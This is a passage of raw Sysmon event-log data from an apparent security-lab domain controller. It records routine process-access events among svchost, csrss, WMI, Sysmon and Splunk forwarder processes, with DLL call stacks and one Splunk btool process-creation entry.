:\Windows\System32\combase.dll+4fedd|C:\Windows\System32\combase.dll+4f5bf|C:\Windows\System32\combase.dll+6da09|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd 10341000x80000000000000001792Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.590{A5F018FF-28BF-5F80-0F00-000000007F01}11282332C:\Windows\system32\svchost.exe{A5F018FF-28D0-5F80-4600-000000007F01}4088C:\Windows\system32\wbem\wmiprvse.exe0x101541C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\system32\wbem\wmiprvsd.dll+20fee|C:\Windows\system32\wbem\wmiprvsd.dll+2dbe|C:\Windows\system32\wbem\wmiprvsd.dll+155e9|C:\Windows\system32\wbem\wmiprvsd.dll+1498a|C:\Windows\system32\wbem\wmiprvsd.dll+146e6|C:\Windows\system32\wbem\wmiprvsd.dll+140fe|C:\Windows\system32\wbem\wmiprvsd.dll+fa1f|C:\Windows\system32\wbem\wmiprvsd.dll+1351d|C:\Windows\system32\wbem\wmiprvsd.dll+127f4|C:\Windows\system32\wbem\wbemcore.dll+ced2|C:\Windows\system32\wbem\wbemcore.dll+d531|C:\Windows\system32\wbem\wbemcore.dll+104fe|C:\Windows\system32\wbem\wbemcore.dll+25435|C:\Windows\system32\wbem\wbemcore.dll+24a9a|C:\Windows\system32\wbem\wbemcore.dll+2485e|C:\Windows\system32\wbem\wbemcore.dll+dc51|C:\Windows\system32\wbem\wbemcore.dll+2cfdf|C:\Windows\system32\wbem\wbemcore.dll+22adf|C:\Windows\system32\wbem\wbemcore.dll+22a19|C:\Windows\system32\wbem\wbemcore.dll+21f5a|C:\Windows\system32\wbem\wbemcore.dll+22711|C:\Windows\system32\wbem\wbemcore.dll+2d78c 10341000x80000000000000001791Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.590{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28D0-5F80-4600-000000007F01}4088C:\Windows\system32\wbem\wmiprvse.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001790Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.583{A5F018FF-28BC-5F80-0500-000000007F01}6441148C:\Windows\system32\csrss.exe{A5F018FF-28D0-5F80-4600-000000007F01}4088C:\Windows\system32\wbem\wmiprvse.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000001789Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.583{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28D0-5F80-4600-000000007F01}4088C:\Windows\system32\wbem\wmiprvse.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6f453|C:\Windows\System32\KERNEL32.DLL+1d37f|c:\windows\system32\rpcss.dll+35069|c:\windows\system32\rpcss.dll+3a852|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001788Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.543{A5F018FF-28D0-5F80-3D00-000000007F01}39123932C:\Windows\system32\conhost.exe{A5F018FF-28D0-5F80-4500-000000007F01}4064C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001787Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.543{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001786Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.543{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001785Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.543{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001784Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.543{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001783Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.543{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001782Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.543{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001781Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.543{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001780Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.543{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001779Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.543{A5F018FF-28BC-5F80-0500-000000007F01}644772C:\Windows\system32\csrss.exe{A5F018FF-28D0-5F80-4500-000000007F01}4064C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000001778Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.543{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001777Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.543{A5F018FF-28D0-5F80-4400-000000007F01}40444048C:\Program Files\SplunkUniversalForwarder\bin\btool.exe{A5F018FF-28D0-5F80-4500-000000007F01}4064C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+239c|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+2568|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+2926|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+11cf|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+1245|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+aa24|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000001776Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.546{A5F018FF-28D0-5F80-4500-000000007F01}4064C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe8.0.2splunkd servicesplunk ApplicationSplunk Inc.splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool server list general --no-logC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589{A5F018FF-28D0-5F80-4400-000000007F01}4044C:\Program Files\SplunkUniversalForwarder\bin\btool.exebtool server list general --no-log 10341000x80000000000000001775Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.528{A5F018FF-28D0-5F80-3D00-000000007F01}39123932C:\Windows\system32\conhost.exe{A5F018FF-28D0-5F80-4400-000000007F01}4044C:\Program Files\SplunkUniversalForwarder\bin\btool.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001774Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.528{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001773Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.528{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001772Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.528{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001771Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.528{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001770Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.528{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001769Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.528{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001768Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.528{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001767Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.528{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001766Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 